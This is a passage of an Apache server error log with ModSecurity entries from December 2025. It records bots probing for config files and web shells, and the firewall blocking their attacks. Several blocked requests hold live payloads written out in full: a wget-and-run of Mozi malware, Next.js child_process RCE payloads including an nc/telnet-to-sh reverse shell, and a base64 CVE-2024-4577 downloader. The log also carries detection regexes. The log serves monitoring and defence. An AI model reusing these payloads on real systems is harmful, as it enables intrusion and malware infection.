11218] [client 149.13.91.181:33100] File does not exist: /usr/local/apache/htdocs/config.php [Tue Dec 16 16:53:08.891857 2025] [:error] [pid 11215:tid 11235] [client 149.13.91.181:33102] File does not exist: /usr/local/apache/htdocs/configuration.php [Tue Dec 16 16:53:15.972863 2025] [:error] [pid 11215:tid 11230] [client 149.13.91.181:33126] File does not exist: /usr/local/apache/htdocs/phpinfo.php [Tue Dec 16 16:53:17.219973 2025] [:error] [pid 11215:tid 11234] [client 149.13.91.181:33132] File does not exist: /usr/local/apache/htdocs/info.php [Tue Dec 16 16:53:18.523140 2025] [:error] [pid 11215:tid 11238] [client 149.13.91.181:33142] File does not exist: /usr/local/apache/htdocs/infos.php [Tue Dec 16 16:53:19.936126 2025] [:error] [pid 20468:tid 20493] [client 149.13.91.181:33144] File does not exist: /usr/local/apache/htdocs/php_info.php [Tue Dec 16 16:53:21.156390 2025] [:error] [pid 11215:tid 11226] [client 149.13.91.181:33154] File does not exist: /usr/local/apache/htdocs/php-info.php [Tue Dec 16 16:53:22.437311 2025] [:error] [pid 11215:tid 11242] [client 149.13.91.181:33160] File does not exist: /usr/local/apache/htdocs/pinfo.php [Tue Dec 16 16:53:23.616471 2025] [:error] [pid 11215:tid 11228] [client 149.13.91.181:33162] File does not exist: /usr/local/apache/htdocs/temp.php [Tue Dec 16 16:53:24.858899 2025] [:error] [pid 20468:tid 20490] [client 149.13.91.181:33172] File does not exist: /usr/local/apache/htdocs/test.php [Tue Dec 16 16:53:29.758294 2025] [:error] [pid 11215:tid 11229] [client 149.13.91.181:33188] File does not exist: /usr/local/apache/htdocs/linusadmin-phpinfo.php [Tue Dec 16 16:53:32.880108 2025] [:error] [pid 11215:tid 11234] [client 149.13.91.181:33198] File does not exist: /usr/local/apache/htdocs/php.php [Tue Dec 16 16:53:36.260285 2025] [:error] [pid 11215:tid 11221] [client 149.13.91.181:33212] File does not exist: /usr/local/apache/htdocs/app_dev.php [Tue Dec 16 16:53:37.310468 2025] [:error] [pid 11215:tid 11235] [client 149.13.91.181:33224] File does not exist: /usr/local/apache/htdocs/wp-config.php.bak [Tue Dec 16 16:53:38.599198 2025] [:error] [pid 11215:tid 11233] [client 149.13.91.181:33226] File does not exist: /usr/local/apache/htdocs/settings.php.bak [Tue Dec 16 16:53:39.622679 2025] [:error] [pid 20236:tid 20261] [client 149.13.91.181:33228] File does not exist: /usr/local/apache/htdocs/configuration.php.bak [Tue Dec 16 16:53:40.725096 2025] [:error] [pid 20237:tid 20314] [client 149.13.91.181:33230] File does not exist: /usr/local/apache/htdocs/config.php.bak [Tue Dec 16 16:53:43.041892 2025] [:error] [pid 11215:tid 11229] [client 149.13.91.181:33238] [client 149.13.91.181] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "198.199.72.26"] [uri "/configs/application.ini"] [unique_id "aUHU56ib1XkTCBgPpNhuowAAAQs"] [Tue Dec 16 17:29:09.872613 2025] [:error] [pid 11215:tid 11232] [client 42.226.71.76:39140] [client 42.226.71.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:[\\\\;\\\\|\\\\`]\\\\W*?\\\\bcc|\\\\b(wget|curl))\\\\b|\\\\/cc(?:[\\\\'\\"\\\\|\\\\;\\\\`\\\\-\\\\s]|$))" at ARGS:cmd. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "25"] [id "950907"] [rev "2"] [msg "System Command Injection"] [data "Matched Data: wget found within ARGS:cmd: rm -rf /tmp/*;wget http:/42.226.71.76:40234/Mozi.m -O /tmp/netgear;sh netgear"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "198.199.72.26"] [uri "/setup.cgi"] [unique_id "aUHdNaib1XkTCBgPpNhxHAAAAQ4"] [Tue Dec 16 17:39:17.492730 2025] [:error] [pid 20237:tid 20311] [client 92.118.45.16:40310] [client 92.118.45.16] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "19"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUHflaNNkYe2KQ9OfHKdjQAAAJI"] [Tue Dec 16 18:02:46.200473 2025] [:error] [pid 11215:tid 11223] [client 195.24.236.50:43930] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 18:02:46.222121 2025] [:error] [pid 20236:tid 20240] [client 195.24.236.50:43938] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 18:02:46.292018 2025] [:error] [pid 11215:tid 11240] [client 195.24.236.50:43956] File does not exist: /usr/local/apache/htdocs/dsnlfsmm.php, referer: www.google.com [Tue Dec 16 18:02:46.326762 2025] [:error] [pid 11215:tid 11221] [client 195.24.236.50:43958] File does not exist: /usr/local/apache/htdocs/bqbjstfb.php, referer: www.google.com [Tue Dec 16 18:02:46.662832 2025] [:error] [pid 20235:tid 20284] [client 195.24.236.50:43976] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 18:02:46.723655 2025] [:error] [pid 11215:tid 11239] [client 195.24.236.50:43978] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 18:02:46.749078 2025] [:error] [pid 20468:tid 20487] [client 195.24.236.50:43980] File does not exist: /usr/local/apache/htdocs/ajbehkin.php, referer: www.google.com [Tue Dec 16 18:02:46.817407 2025] [:error] [pid 20236:tid 20245] [client 195.24.236.50:43982] File does not exist: /usr/local/apache/htdocs/vbkciesv.php, referer: www.google.com [Tue Dec 16 19:03:39.044725 2025] [mpm_event:notice] [pid 20083:tid 20083] AH00493: SIGUSR1 received. Doing graceful restart [Tue Dec 16 19:03:39.169804 2025] [ssl:warn] [pid 20083:tid 20083] AH01873: Init: Session Cache is not configured [hint: SSLSessionCache] [Tue Dec 16 19:03:39.176365 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.177529 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.178582 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.206519 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.207142 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.207942 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.213556 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.214508 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.215348 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.217086 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.218027 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.218885 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.227457 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.228278 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.228849 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.229934 2025] [ssl:warn] [pid 20083:tid 20083] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Tue Dec 16 19:03:39.230770 2025] [mpm_event:notice] [pid 20083:tid 20083] AH00489: Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips configured -- resuming normal operations [Tue Dec 16 19:03:39.230781 2025] [core:notice] [pid 20083:tid 20083] AH00094: Command line: '/usr/local/apache/bin/httpd' [Tue Dec 16 20:15:07.617327 2025] [:error] [pid 21106:tid 21113] [client 78.153.130.48:48630] [client 78.153.130.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a=' res ';307;'});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:..."] [sever [hostname "198.199.72.26"] [uri "/"] [unique_id "aUIEG-Yt2u9aoGlKIQhMPgAAAcU"] [Tue Dec 16 20:26:43.174521 2025] [:error] [pid 21106:tid 21132] [client 78.153.130.48:51460] [client 78.153.130.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a=' res ';307;'});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:..."] [sever [hostname "198.199.72.26"] [uri "/"] [unique_id "aUIG0-Yt2u9aoGlKIQhOEgAAAdg"] [Tue Dec 16 22:32:00.446788 2025] [:error] [pid 21044:tid 21059] [client 20.78.177.7:51328] File does not exist: /usr/local/apache/htdocs/doc.php [Tue Dec 16 22:32:00.626075 2025] [:error] [pid 21044:tid 21057] [client 20.78.177.7:51330] File does not exist: /usr/local/apache/htdocs/edit.php [Tue Dec 16 22:32:00.805043 2025] [:error] [pid 21044:tid 21052] [client 20.78.177.7:51332] File does not exist: /usr/local/apache/htdocs/functions.php [Tue Dec 16 22:32:01.165777 2025] [:error] [pid 21044:tid 21066] [client 20.78.177.7:51336] File does not exist: /usr/local/apache/htdocs/manager.php [Tue Dec 16 22:32:01.353159 2025] [:error] [pid 21106:tid 21113] [client 20.78.177.7:51338] File does not exist: /usr/local/apache/htdocs/radio.php [Tue Dec 16 22:32:01.532294 2025] [:error] [pid 21044:tid 21062] [client 20.78.177.7:51340] File does not exist: /usr/local/apache/htdocs/root.php [Tue Dec 16 22:32:01.711463 2025] [:error] [pid 21044:tid 21067] [client 20.78.177.7:51342] File does not exist: /usr/local/apache/htdocs/sim.php [Tue Dec 16 22:32:01.892388 2025] [:error] [pid 21043:tid 21075] [client 20.78.177.7:51346] File does not exist: /usr/local/apache/htdocs/system_log.php [Tue Dec 16 22:32:02.611225 2025] [:error] [pid 21043:tid 21074] [client 20.78.177.7:51360] File does not exist: /usr/local/apache/htdocs/gecko.php [Tue Dec 16 22:32:02.790312 2025] [:error] [pid 21043:tid 21076] [client 20.78.177.7:51362] File does not exist: /usr/local/apache/htdocs/xmrlpc.php [Tue Dec 16 22:32:03.148271 2025] [:error] [pid 21043:tid 21089] [client 20.78.177.7:51368] File does not exist: /usr/local/apache/htdocs/moon.php [Tue Dec 16 22:32:03.685232 2025] [:error] [pid 21044:tid 21068] [client 20.78.177.7:51376] File does not exist: /usr/local/apache/htdocs/info.php [Tue Dec 16 22:32:03.863803 2025] [:error] [pid 21044:tid 21051] [client 20.78.177.7:51378] File does not exist: /usr/local/apache/htdocs/k.php [Tue Dec 16 22:32:04.042473 2025] [:error] [pid 21043:tid 21077] [client 20.78.177.7:51380] File does not exist: /usr/local/apache/htdocs/nc4.php [Tue Dec 16 22:32:04.399920 2025] [:error] [pid 21106:tid 21130] [client 20.78.177.7:51384] File does not exist: /usr/local/apache/htdocs/file2.php [Tue Dec 16 22:32:06.012569 2025] [:error] [pid 21043:tid 21082] [client 20.78.177.7:51402] File does not exist: /usr/local/apache/htdocs/.well-known/gecko-litespeed.php [Tue Dec 16 22:32:06.370310 2025] [:error] [pid 21043:tid 21091] [client 20.78.177.7:51406] File does not exist: /usr/local/apache/htdocs/WSO.php [Tue Dec 16 22:36:33.645486 2025] [:error] [pid 21106:tid 21113] [client 89.42.231.244:51714] [client 89.42.231.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:(?:n(?:et(?:\\\\b\\\\W+?\\\\blocalgroup|\\\\.exe)|(?:map|c)\\\\.exe)|t(?:racer(?:oute|t)|elnet\\\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\\\.exe|echo\\\\b\\\\W*?\\\\by+)\\\\b|c(?:md(?:(?:\\\\.exe|32)\\\\b|\\\\b\\\\W*?\\\\/c)|d(?:\\\\b\\\\W*?[\\\\/]|\\\\W*?\\\\.\\\\.)|hmod.{0,40}?\\\\ ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "221"] [id "950006"] [rev "3"] [msg "System Command Injection"] [data "Matched Data: || telnet found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync((nc 62.60.232.42 3443 || telnet 62.60.232.42 3443) | sh).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/W [hostname "198.199.72.26"] [uri "/"] [unique_id "aUIlQeYt2u9aoGlKIQhgQAAAAcU"] [Tue Dec 16 22:51:14.777415 2025] [:error] [pid 21043:tid 21085] [client 3.26.102.97:53602] [client 3.26.102.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.todocafe.pe"] [uri "/"] [unique_id "aUIoss-Oe5Q1TbF2LSSiTwAAAUw"] [Wed Dec 17 00:00:05.424254 2025] [:error] [pid 21043:tid 21097] [client 13.211.149.74:37886] [client 13.211.149.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.promalca.com"] [uri "/"] [unique_id "aUI41c-Oe5Q1TbF2LSSmuQAAAVg"] [Wed Dec 17 00:02:03.215672 2025] [:error] [pid 21106:tid 21129] [client 16.176.148.4:39158] [client 16.176.148.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.todocafe.pe"] [uri "/"] [unique_id "aUI5S-Yt2u9aoGlKIQhpDgAAAdU"] [Wed Dec 17 00:05:04.146808 2025] [:error] [pid 21106:tid 21115] [client 13.211.149.74:41110] [client 13.211.149.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.reskate.org"] [uri "/"] [unique_id "aUI6AOYt2u9aoGlKIQhqigAAAcc"] [Wed Dec 17 00:30:51.518125 2025] [:error] [pid 21106:tid 21126] [client 45.93.168.13:50224] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<\\\\?(?!xml)" at ARGS_NAMES:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw")); echo(md5("Hello CVE-2024-4577")); ?>. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "230"] [id "959151"] [rev "2"] [msg "PHP Injection Attack"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.2"] [tag "WASCTC/WASC-25"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE4"] [tag "PCI/6.5.2"] [hostname "198.199.72.26"] [uri "/hello.world"] [unique_id "aUJAC-Yt2u9aoGlKIQhwSgAAAdI"] [Wed Dec 17 00:30:51.598045 2025] [:error] [pid 21106:tid 21128] [client 45.93.168.13:50226] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<\\\\?(?!xml)" at ARGS_NAMES:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw")); echo(md5("Hello CVE-2024-4577")); ?>. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "230"] [id "959151"] [rev "2"] [msg "PHP Injection Attack"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.2"] [tag "WASCTC/WASC-25"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE4"] [tag "PCI/6.5.2"] [hostname "198.199.72.26"] [uri "/"] [unique_id "aUJAC-Yt2u9aoGlKIQhwSwAAAdQ"] [Wed Dec 17 00:30:51.670241 2025] [:error] [pid 21106:tid 21116] [client 45.93.168.13:50228] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJAC-Yt2u9aoGlKIQhwTAAAAcg"] [Wed Dec 17 00:30:51.756146 2025] [:error] [pid 21106:tid 21122] [client 45.93.168.13:50232] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aUJAC-Yt2u9aoGlKIQhwTQAAAc4"] [Wed Dec 17 00:30:51.835246 2025] [:error] [pid 21106:tid 21123] [client 45.93.168.13:50236] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJAC-Yt2u9aoGlKIQhwTwAAAc8"] [Wed Dec 17 00:30:51.926159 2025] [:error] [pid 21106:tid 21129] [client 45.93.168.13:50240] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id 